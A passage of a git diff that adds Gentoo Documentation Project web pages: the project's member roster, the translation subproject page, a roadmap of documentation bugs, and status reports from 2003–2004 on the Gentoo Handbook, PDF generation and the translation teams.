+<dev role="Member" description="Editor">cam</dev>
+<dev role="Member" description="Editor">flammie</dev>
+<dev role="Member" description="Editor">vanquirius</dev>
+<dev role="Member" description="Editor">jkt</dev>
+<dev role="Member" description="Editor">rane</dev>
+<dev role="Member" description="Editor">nightmorph</dev>
+<dev role="Project Doc Editor" description="Portage">vapier</dev><!--aka spanky-->
+<!-- Also CVS: robbat2 -->
+<!-- (Without CVS access) -->
+<dev role="Project Doc Editor" description="PPC">JoseJX</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="doc/doc-policy.xml">Gentoo Documentation Policy</resource>
+<resource link="doc/translators-howto.xml">Translators HOWTO</resource>
+<resource link="doc/doc-tipsntricks.xml">Tips and Tricks for Documentation Development</resource>
+<resource link="/doc/en/xml-guide.xml">GuideXML Guide</resource>
+<resource link="doc/handbook-release.xml">Handbook Release Guide</resource>
+<resource link="doc/gorg.xml">How to install Gorg</resource>
+<resource link="roadmap.xml">TODO List</resource>
+
+<!-- Subprojects -->
+<subproject ref="/proj/en/gdp/international.xml"/>
+
+<!-- Chapter regarding status mails -->
+<extrachapter>
+<title>Status Updates</title>
+<section>
+<title>What are Status Updates?</title>
+<body>
+
+<p>
+A status update is a small text covering what the GDP has done since the
+previous status update. It is written by the operational manager and contains a
+quick overview on how the GDP progresses. If you want to know what lives in the
+GDP, and what is in the process of developing, this is what you should read.
+</p>
+
+<p>
+Status updates don't usually talk about fixed bugs and updated documentation,
+although that is the main task of the GDP.
+</p>
+
+</body>
+</section>
+<section>
+<title>Listing</title>
+<body>
+
+<p>
+The following status updates are available:
+</p>
+
+<ul>
+  <li><uri link="status/status_20051216.xml">December 16th, 2005</uri></li>
+  <li><uri link="status/status_20051018.xml">October 18th, 2005</uri></li>
+  <li><uri link="status/status_20050906.xml">September 6th, 2005</uri></li>
+  <li><uri link="status/status_20050801.xml">August 1st, 2005</uri></li>
+  <li><uri link="status/status_20050630.xml">June 30th, 2005</uri></li>
+  <li><uri link="status/status_20050529.xml">May 29th, 2005</uri></li>
+  <li><uri link="status/status_20050413.xml">April 13th, 2005</uri></li>
+  <li><uri link="status/status_20050307.xml">March 7th, 2005</uri></li>
+  <li><uri link="status/status_20050102.xml">January 2, 2005</uri></li>
+  <li><uri link="status/status_20041121.xml">November 21, 2004</uri></li>
+  <li><uri link="status/status_20041021.xml">October 21, 2004</uri></li>
+  <li><uri link="status/status_20040924.xml">September 24, 2004</uri></li>
+  <li><uri link="status/status_20040807.xml">August 7, 2004</uri></li>
+  <li><uri link="status/status_20040730.xml">July 30, 2004</uri></li>
+  <li><uri link="status/status_20040517.xml">May 17, 2004</uri></li>
+  <li><uri link="status/status_20040503.xml">May 3, 2004</uri></li>
+  <li><uri link="status/status_20040415.xml">April 15, 2004</uri></li>
+  <li><uri link="status/status_20040327.xml">March 27, 2004</uri></li>
+  <li><uri link="status/status_20040308.xml">March 8, 2004</uri></li>
+  <li><uri link="status/status_20040219.xml">February 19, 2004</uri></li>
+  <li><uri link="status/status_20040205.xml">February 5, 2004</uri></li>
+  <li><uri link="status/status_20040117.xml">January 17, 2004</uri></li>
+  <li><uri link="status/status_20040102.xml">January 2, 2004</uri></li>
+  <li><uri link="status/status_20031217.xml">December 17, 2003</uri></li>
+  <li><uri link="status/status_20031206.xml">December 6, 2003</uri></li>
+  <li><uri link="status/status_20031124.xml">November 24, 2003</uri></li>
+  <li><uri link="status/status_20031113.xml">November 13, 2003</uri></li>
+  <li><uri link="status/status_20031031.xml">October 31, 2003</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>gentoo-doc@gentoo.org</title>
+<body>
+
+<p>
+The Gentoo Documentation Project makes intensive use of the
+gentoo-doc@gentoo.org mailing list. On this mailing list discussions about
+documentation, subprojects, translations and more pass by.
+</p>
+
+<p>
+To subscribe to this mailing list, send an empty e-mail to
+gentoo-doc-subscribe@gentoo.org. Once subscribed you can post to it by
+sending an e-mail to gentoo-doc@gentoo.org. To unsubscribe from the
+list, send an empty e-mail to gentoo-doc-unsubscribe@gentoo.org. There
+is also an online archive on <uri
+link="http://news.gmane.org/gmane.linux.gentoo.documentation">news.gmane.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Participating</title>
+<body>
+
+<p>
+To participate in the Gentoo Documentation Project first join the
+mailing list at gentoo-doc@gentoo.org. Then ask if there are plans to
+support something that you are interested in, propose a new subproject
+that you are interested in, or choose one of the planned subprojects to
+work on. You may talk to the developers and users in the IRC channel
+#gentoo-doc on irc.freenode.net for more information or just to chat
+about the project or any subprojects. If you don't have the ability to
+actively help by contributing work we will always need editors to
+maintain the quality and accuracy of the overall product. All
+development, editing, and productive comments and feedback will be
+greatly appreciated.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/gdp/international.xml b/xml/htdocs/proj/en/gdp/international.xml
new file mode 100644
index 00000000..0178fabf
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/international.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/international.xml,v 1.77 2010/05/29 17:47:39 nightmorph Exp $ -->
+
+<project>
+<name>Internationalisation</name>
+<longname>GDP Internationalisation Subproject</longname>
+<date>2010-05-29</date>
+
+<description>
+The Internationalisation Subproject oversees and coordinates the
+translation efforts of the Gentoo Documentation Project.
+</description>
+
+<longdescription><p>
+As Gentoo continues to grow, international documentation will be key to
+communicating with our diverse user base. The translators will make sure
+that all Gentoo documentation is translated in a timely fashion.
+</p></longdescription>
+
+<recruitment>
+ <job>
+   <summary>Documentation translators</summary>
+   <details>
+    Gentoo needs documentation translators. The list of currently official
+    translators can be found on our <uri
+    link="/proj/en/gdp/international.xml">internationalisation subproject
+    page</uri>. If your language is not listed, please contact <uri
+    link="http://gdp.gentoo.org/">GDP</uri> for more information.
+   </details>
+   <requirements>
+    Translators need good reading skills in English and obviously very good
+    writing skills in the language they are translating to.<br/>
+    They should also be able to edit UTF-8 encoded XML files (any good text
+    editor can be used).
+   </requirements>
+   <contact>neysx</contact>
+ </job>
+</recruitment>
+
+<!-- Developer Roles -->
+<dev role="lead" description="Project Manager">neysx</dev>
+<dev role="Lead Translator" description="Brazilian Portuguese">vanquirius</dev>
+<dev role="Lead Translator" description="Czech">jkt</dev>
+<dev role="Lead Translator" description="Finnish">flammie</dev>
+<dev role="Lead Translator" description="French">cam</dev>
+<dev role="Translator Follow-Up" description="French">titefleur</dev>
+<dev role="Lead Translator" description="German">keytoaster</dev>
+<dev role="Lead Translator" description="Italian">scen</dev>
+<dev role="Translator Follow-Up" description="Japanese">shindo</dev>
+<dev role="Lead Translator" description="Polish">rane</dev>
+<dev role="Translator Follow-Up" description="Polish">shadow</dev>
+<dev role="Translator Follow-Up" description="Russian">pva</dev>
+<dev role="Lead Translator" description="Spanish">chiguire</dev>
+<dev role="Translator Follow-Up" description="Spanish">nimiux</dev>
+<dev role="Lead Translator" description="Simplified Chinese (zh_CN)">r0bertz</dev>
+
+<!-- Links to $LANG owned project pages -->
+<resource link="http://dev.gentoo.org/~cam/gentoo-doc-fr/">French translations home page</resource>
+<resource link="http://www.gentoo.de/proj/de/gtt/information.xml">German translations home page</resource>
+<resource link="http://dev.gentoo.org/~scen/trads-it.xml">Italian translations home page</resource>
+<resource link="http://dev.gentoo.org/~rane/translations/">Polish translations home page</resource>
+<resource link="http://dev.gentoo.org/~chiguire/doc/">Spanish translations home page</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/gdp/roadmap.xml b/xml/htdocs/proj/en/gdp/roadmap.xml
new file mode 100644
index 00000000..e06f2ee1
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/roadmap.xml
@@ -0,0 +1,75 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/roadmap.xml,v 1.53 2007/07/28 06:19:05 nightmorph Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/roadmap.xml">
+<title>Gentoo Documentation Project Roadmap</title>
+
+<author title = "Author">
+    <mail link = "swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+A TODO list for the Gentoo Documentation Project
+</abstract>
+
+<license/>
+
+<version>3.33</version>
+<date>2007-07-27</date>
+
+
+<chapter>
+<title>Documentation Bugs</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+This page will contain bugs that we couldn't fix immediately ourselves (due to
+insufficient resources or just plain lack of knowledge on the subject).
+Contributions in any form are welcomed.
+</p>
+
+<p>
+If you want to fix a document yourself you can fetch the sourcecode by visiting
+the page and appending "?passthru=1" to the URL. This will allow you to download
+the XML sourcecode. Just make your changes and attach it to the appropriate
+bugreport.
+</p>
+
+<p>
+If you're scared that your document isn't valid XML, don't be. We are able to
+easily fix this ourselves :)
+</p>
+
+</body>
+</section>
+<section>
+<title>New Documentation</title>
+<body>
+
+<p>
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=108642">108642</uri>: Request
+for a Font Addition Guide.
+</p>
+
+<p>
+<uri link="http://bugs.gentoo.org/show_bug.cgi?id=111551">111551</uri>: Request
+documentation: Additional storage guide.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation Updates</title>
+<body>
+
+<p>
+(No updates at this time.)
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/international_200403.xml b/xml/htdocs/proj/en/gdp/status/international_200403.xml
new file mode 100644
index 00000000..36c8c9a2
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/international_200403.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP International Status Report: March 2004</title>
+<author title="Author">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+
+<abstract>
+Monthly international status report of GDP lead translators.
+</abstract>
+
+<version>1.0.0</version>
+<date>March, 2004</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+<p>
+GDP Lead Translators are kindly asked to post the status of their team every
+month.  Those statuses will be summed up here monthly.  All questions can be
+posted to <mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to
+<mail link="neysx@gentoo.org">Xavier Neys</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>International News</title>
+<body>
+
+<p>
+New languages are being worked on:
+</p>
+
+<ul>
+<li>Albanian</li>
+<li>Serbo-Croatian</li>
+<li>Swedish</li>
+</ul>
+
+<p>
+Good luck to our new contributors. Let's hope that official teams will be able
+to see the light.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Dutch Team</title>
+<body>
+
+<ul>
+  <li>
+    Steven Lecompte aka Rip7 is about to take the role of Lead Translator and
+    Blubber steps down as his follow-up due to lack of time.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>French Team</title>
+<body>
+
+<ul>
+<li>Camille Huot aka Cam has been appointed as new French follow-up.</li>
+<li>Translations have been improved and kept up to date.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20031031.xml b/xml/htdocs/proj/en/gdp/status/status_20031031.xml
new file mode 100644
index 00000000..54173ce1
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20031031.xml
@@ -0,0 +1,264 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>October 31, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Gentoo Handbook</uri></li>
+<li><uri link="#doc_chap3">PDF Documentation</uri></li>
+<li><uri link="#doc_chap4">Coding Style</uri></li>
+<li><uri link="#doc_chap5">Off-project Documentation</uri></li>
+<li><uri link="#doc_chap6">Translation Metadata</uri></li>
+<li><uri link="#doc_chap7">Downloadable Documentation</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook</title>
+<section>
+<body>
+
+<p>
+The GDP is working on a Gentoo Handbook. At this point, a draft version for
+"Installing Gentoo" is ready and being reviewed at this moment. You can find
+this draft (which will probably be the official location, albeit this has not
+been decided yet) at
+<uri>http://www.gentoo.org/doc/en/handbook/handbook.xml</uri>.
+</p>
+
+<p>
+We still have to make sure that:
+</p>
+
+<ul>
+<li>
+  licensing information is inbedded inside the seperate handbook chapters
+  (as comments)
+</li>
+<li>all architectures have been correctly represented in the handbook</li>
+<li>
+  all references are correct and are using relative paths to other Gentoo
+  documentation
+</li>
+<li>
+  the handbook is fool-proof (as far as this is possible without having to
+  draw stuff :)
+</li>
+</ul>
+
+<p>
+If all goes well the reviewing should be finished before saturday. At that
+point translation teams can start with translating the handbook. Also, all
+changes to the handbook must be according to the documentation policy.
+</p>
+
+<p>
+I hope to have the handbook (well, the "Installing Gentoo" chapter) online and
+official at the 6th of november.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PDF Documentation</title>
+<section>
+<body>
+
+<p>
+Several users have been asking for our Gentoo Documentation in PDF format. We
+have been investigating possible resolutions, and found that XSL:FO (the
+standard way to format XML-content) is the best way as it can be generated
+on-the-fly (theoretically) at the server-level.
+</p>
+
+<p>
+We have succesfully created a guide2pdf.xsl file that transforms the GuideXML
+format to XSL:FO. Although there are still some quirks it is almost
+production-ready. It is however *only* meant for the Gentoo Guides (a
+book2pdf.xsl will be created when guide2pdf.xsl is working flawlessly).
+</p>
+
+<p>
+However, some setbacks have been found. The two ways (PassiveTex.pm in AxKit,
+and FOP with Cocoon) have their problems:
+</p>
+
+<ul>
+<li>
+  PassiveTex doesn't seem to work (pdfxmltex, which is used by
+  PassiveTex.pm, doesn't want to "compile" the XSL:FO we generate)
+</li>
+<li>
+  Cocoon isn't installed on our webnodes, and is therefor an
+  infrastructure-request. I haven't got it to work personally on my laptop.
+</li>
+<li>
+  Using FOP manually ("fop gentoo-x86-install.fo gentoo-x86-install.pdf") works
+  (see <uri>http://emu.gentoo.org/~swift/gentoo-x86-install.pdf</uri>).
+</li>
+</ul>
+
+<p>
+A third way is to have a dynamic script ran on the webservers that converts
+the guides to PDF. This has to be checked yet (resourceconsumption, security
+aspects, disk usage etc.).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Coding Style</title>
+<section>
+<body>
+
+<p>
+Since previous week we have a Coding Style for the internal GuideXML
+sourcecode. All new documentation must adhere to this style so that
+intermediate diffs are easy to comprehend and all editors (ppl) can configure 
+their editor (tool) to use a consistent layout.
+</p>
+
+<p>
+If all goes well, most documentation should be "converted" in mid-november.
+</p>
+
+<p>
+More information on the Coding Style is available in the XML Guide at
+<uri>http://www.gentoo.org/doc/en/xml-guide.xml</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Off-project Documentation</title>
+<section>
+<body>
+
+<p>
+I have held a small discussion on gentoo-dev@gentoo.org regarding off-project
+documentation (i.e. documentation specifically created by other Gentoo
+projects). From this small discussion I believe that most ppl agree that this
+documentation should also be listed on the documentation index page
+<uri>(http://www.gentoo.org/doc/en/index.xml</uri>).
+</p>
+
+<p>
+I will propose a small guideline for such documentation shortly, namely that:
+</p>
+
+<ul>
+<li>Only documentation licensed under cc-by-sa is accepted</li>
+<li>
+  If the documentation is user-oriented (i.e. non Gentoo development), then
+  the guide is to be placed in doc/
+</li>
+<li>
+  If the documentation is developer-oriented, then the guide stays in its
+  proj/ site. Linking occurs at a special section in the documentation index
+  (which will make clear to other languages that this documentation is and
+  will only be available in English).
+</li>
+</ul>
+
+<p>
+This latter is because developer-oriented documentation doesn't need to be
+translated (we should only focus at user-documentation) and the translation
+teams don't have access to proj/&lt;language&gt;.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Translation Metadata</title>
+<section>
+<body>
+
+<p>
+Some translation leads have scripts that inform them about the progress their
+translation team(s) make. I have thought about implementing such a page as
+dynamical page (dyn/), but I now believe it is more up to the translation 
+leads (and the translation project lead) to use their own script(s) or means
+internally. 
+</p>
+
+<p>
+Interested translation leads can ofcourse use the existing scripts (from
+Xavier Neys, Tiemo Kieft or Lars Weiler) for their own language (this is even
+recommended).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Downloadable Documentation</title>
+<section>
+<body>
+
+<p>
+Several users want to have the Gentoo Documentation offline available. The
+major request is for an ebuild that provides the Gentoo Documentation.
+However, such an ebuild would require *very* frequent updates as the Gentoo
+Documentation is updated almost on a daily basis.
+</p>
+
+<p>
+A better approach would be to have a script or program that fetches the
+documentation from the webservers and parses it locally. This could even
+include the PDF-support if the webservers don't provide one.
+</p>
+
+<p>
+Information about this will be discussed on gentoo-doc@gentoo.org
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20031113.xml b/xml/htdocs/proj/en/gdp/status/status_20031113.xml
new file mode 100644
index 00000000..99c3f748
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20031113.xml
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>November 13, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Gentoo Handbook</uri></li>
+<li><uri link="#doc_chap3">PDF Documentation</uri></li>
+<li><uri link="#doc_chap4">Non-gdp Documentation</uri></li>
+<li><uri link="#doc_chap5">Packaged documentation</uri></li>
+<li><uri link="#doc_chap6">New supported languages</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook</title>
+<section>
+<body>
+
+<p>
+The first part of the <uri link="/doc/en/handbook/index.xml">Gentoo 
+Handbook</uri> (<uri link="/doc/en/handbook/handbook.xml?part=1">Installing 
+Gentoo</uri>) is finished and should be production ready. It is available <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook.xml">online</uri> and
+contains the installation instructions for almost all supported architectures
+(x86, ppc, sparc, hppa, alpha). I hope to extend it with the other architectures
+that are lurking (amd64, ia64, mips) when I receive more information about 
+those.
+</p>
+
+<p>
+I will start with designing the second part pretty soon now. This part should
+contain the Gentoo-specific items for administering your system (Portage,
+initscripts, conf.d/env.d)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PDF Documentation</title>
+<section>
+<body>
+
+<p>
+Using FOP gives us the best results and can be perfectly integrated with our
+current GuideXML format (as it uses an XML format itself, XML-FO). The
+resulting transformation of our x86 installation guide can be found at <uri
+link="http://emu.gentoo.org/~swift/gentoo-x86-install.pdf">my dev-page</uri>.
+</p>
+
+<p>
+I am now working on a script to have the transformation (GuideXML -> PDF) done
+on the server-level so that everything can be automated.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Non-GDP Documentation</title>
+<section>
+<body>
+
+<p>
+We have started with the cluster project documentation and are integrating it
+in our documentation tree. Other documentation (and projects) should follow
+soon.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Packaged Documentation</title>
+<section>
+<body>
+
+<p>
+After a <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/619">discussion</uri>
+we came to the agreement that it is not beneficial to provide a package for our 
+documentation. If a user wants the Gentoo documentation somewhere on his disk, 
+(s)he should use wget, like this:
+</p>
+
+<pre caption="Downloading documentation">
+$ wget  --recursive --level=1 1 --no-parent --page-requisites --convert-link \
+      --no-host-directories --html-extension \
+      http://www.gentoo.org/doc/en/index.xml
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Supported Languages</title>
+<section>
+<body>
+
+<p>
+The Danish language is now an officially supported language, and the Greek
+language volunteers have stepped up and are "in training".
+</p>
+
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20031124.xml b/xml/htdocs/proj/en/gdp/status/status_20031124.xml
new file mode 100644
index 00000000..7fd90bc3
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20031124.xml
@@ -0,0 +1,158 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>November 24, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">Supported Languages</uri></li>
+<li><uri link="#doc_chap3">PDF Documentation</uri></li>
+<li><uri link="#doc_chap4">GuideXML Update</uri></li>
+<li><uri link="#doc_chap5">Gentoo Handbook</uri></li>
+<li><uri link="#doc_chap6">WYSIWYG Editor</uri></li>
+<li><uri link="#doc_chap7">Stylesheets</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Supported Languages</title>
+<section>
+<body>
+
+<p>
+The Danish translations are fully integrated in the documentation project. Their
+documentation can be found at <uri 
+link="http://www.gentoo.org/doc/da/index.xml">the Danish documentation index 
+page</uri>. We welcome <mail link="broeman@gentoo.org">broeman</mail> and 
+<mail link="aaby@gentoo.org">Aaby</mail> to our team :)
+</p>
+
+<p>
+Dertobi123 will also joined our team as new lead translator for the German
+language. He will take over Pylon's position. We ofcourse also welcome
+dertobi123 aboard :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PDF Documentation</title>
+<section>
+<body>
+
+<p>
+As is mentioned in previous status mails, we will create PDFs using FOP.
+However, development of the script is on a hiatus until the new infrastructure
+design is ready to be deployed (namely having webnodes sync from a master
+webnode instead of from the gentoo cvs server).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>GuideXML Update</title>
+<section>
+<body>
+
+<p>
+The GuideXML format, used to develop the documentation, has been extended with
+the possibility to identify chapters or sections so that internal references are
+dealt with more easily. More information on this can be found at <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/688">the online
+gentoo-doc archive</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook</title>
+<section>
+<body>
+
+<p>
+The part on "Installing Gentoo" is now the official source for installation
+instructions. The "older" installation guides are still maintained though up
+until the new Gentoo Linux comes out.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>WYSIWYG Editor</title>
+<section>
+<body>
+
+<p>
+<mail link="ian@gentoo.org">ian</mail> is working on a (GPL'd) tool that allows 
+editors to create documents through a webbased WYSIWYG editor. Currently it 
+works but lacks some necessary features, such as 100% GuideXML compliance, and 
+the use of the Coding Style. However, the project looks very promising. 
+Certainly one to keep an eye on :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>Stylesheets</title>
+<section>
+<body>
+
+<p>
+The guide-print.xsl style has been updated so that the printable versions of our
+documentation is really printable. Before, a margin was left unprinted,
+rendering the "printer friendly" feature useless.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20031206.xml b/xml/htdocs/proj/en/gdp/status/status_20031206.xml
new file mode 100644
index 00000000..afabac39
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20031206.xml
@@ -0,0 +1,144 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE project SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<date>December 6, 2003</date>
+<version>1.0</version>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">PDF Documentation</uri></li>
+<li><uri link="#doc_chap3">Translator script</uri></li>
+<li><uri link="#doc_chap4">Gentoo Handbook Development</uri></li>
+<li><uri link="#doc_chap5">Translation-specific requests</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PDF documentation</title>
+<section>
+<body>
+
+<note>
+This point isn't valid anymore -- apparently, FOP requires xfree-libs for some
+features we don't need, so we can probably use it without installing xfree-libs.
+</note>
+
+<p>
+Sadly enough, the previously discussed option (FOP) is a no-go. It requires a
+working XFree installation, which is not allowed on our webservers. Blackace is
+checking out if PassiveTex is a better solution, but he is having problems
+getting pdfxmltex to work (as did I).
+</p>
+
+<p>
+Don't expect Gentoo to provide PDFs really soon now. Creating them off-line is
+no problem (lots of existing solutions) so perhaps some developer might publish
+PDF versions of documents on his webspace at dev.gentoo.org (I'm checking out if
+I will do that or not). However, this will *not* be an official location.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Translator script</title>
+<section>
+<body>
+
+<p>
+Xavier Neys has been improving his ruby-script that allows lead translators to
+quickly grasp the situation of the translation efforts. More information is
+available at 
+<uri>http://article.gmane.org/gmane.linux.gentoo.documentation/748</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook development</title>
+<section>
+<body>
+
+<p>
+The development of the Gentoo Handbook is continuïng (duh). The second part of
+the Handbook is progressing, with 5 out of 7 chapters finished. This includes
+chapters on:
+</p>
+
+<ul>
+<li>USE flags</li>
+<li>Portage</li>
+<li>Init scripts</li>
+</ul>
+
+<p>
+The draft version of these chapters can be found online at
+<uri>http://www.gentoo.org/doc/en/handbook/draft/handbook.xml?part=2</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Translation-specific requests</title>
+<section>
+<body>
+
+<p>
+I have asked all translation teams to give some input on how the translation
+process can be improved, what issues they have and how the documentation team
+can help more. This resulted in a couple of requests, amongst which are
+language-specific mailinglists and a GWN request for more volunteers.
+</p>
+
+<p>
+The mailinglists for the Polish, German and Indonesian language have been
+created to improve the translation efforts, and the GWN has asked for extra
+volunteers for some languages. Some translation teams have already noticed more
+volunteer requests.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
